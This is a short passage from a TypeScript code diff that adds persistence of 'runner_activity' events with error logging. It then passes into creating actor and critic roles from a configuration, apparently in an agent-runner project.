at: e.at, + type: EVENT_TYPES.runnerActivity, + data: e as unknown as Record, + }) + .catch((err) => { + opts.log?.( + `failed to persist runner_activity: ${String((err as Error)?.message ?? err)}`, + ); + }); + } : roleOpts.onActivity; const { actor, critic } = createRoles(config, { ...roleOpts,